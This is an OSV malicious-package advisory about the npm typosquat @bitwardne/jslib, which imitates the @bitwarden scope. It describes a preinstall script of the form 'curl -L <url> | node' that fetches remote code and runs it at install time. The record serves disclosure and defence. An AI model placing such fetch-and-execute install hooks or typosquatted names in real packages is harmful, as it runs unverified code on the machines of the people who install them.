{"schema_version":"1.9.0","id":"MAL-2026-17694","published":"2026-10-08T16:53:48Z","modified":"2026-10-08T17:25:14.284046746Z","summary":"Malicious code in @bitwardne/jslib (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (030f216bf15ed7a6a7cde4ad43606804f1eaad03723f3f40844260d9e8ccf39d)\nPackage @bitwardne/jslib is a one-character typosquat of the @bitwarden scope. Its package.json declares a preinstall lifecycle script of the form `curl -L <url> | node`, which fetches a remote payload and pipes it directly into the Node interpreter on the installer's host at `npm install` time. The URL in this tarball is empty, but the construction is unambiguous remote-code-execution scaffolding — any value placed at that URL would be executed on every installer with no verification, no pinning, and no integrity check. The shipped index.js is a 4-line stub that only re-requires four unrelated utilities, so the manifest's preinstall is the entire functional surface of the package.\n","affected":[{"package":{"name":"@bitwardne/jslib","ecosystem":"npm","purl":"pkg:npm/%40bitwardne/jslib"},"versions":["1.1.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"97b2d80b82e242feb26e10242bdf44fbd0e68d91d9db5f356541fb49770289bb","tlsh":"1d11ab60ce309cb319c511e0b869505a7a118c2b8c04bc0c37d70a5c8b0f47b19fe74c"}],"package_integrity":[{"filename":"jslib-1.1.0.tgz","hashes":{"sha1":"5514602da5a0692d1e44a8db749955682c668ccf","sha512_sri":"sha512-bKtulAXn3vpYZWYfpOJmhJtl7lOhjFDVIAsqSFOoBseWaX7qbOxVzqexMU7I4bwKkoGL9y6h77yDLFBnizZ8iA=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@bitwardne/jslib/MAL-2026-17694.json"}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@bitwardne/jslib/v/1.1.0"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-021213","import_time":"2026-10-08T17:17:19.317410693Z","modified_time":"2026-10-08T16:53:48Z","sha256":"030f216bf15ed7a6a7cde4ad43606804f1eaad03723f3f40844260d9e8ccf39d","source":"amazon-inspector","versions":["1.1.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}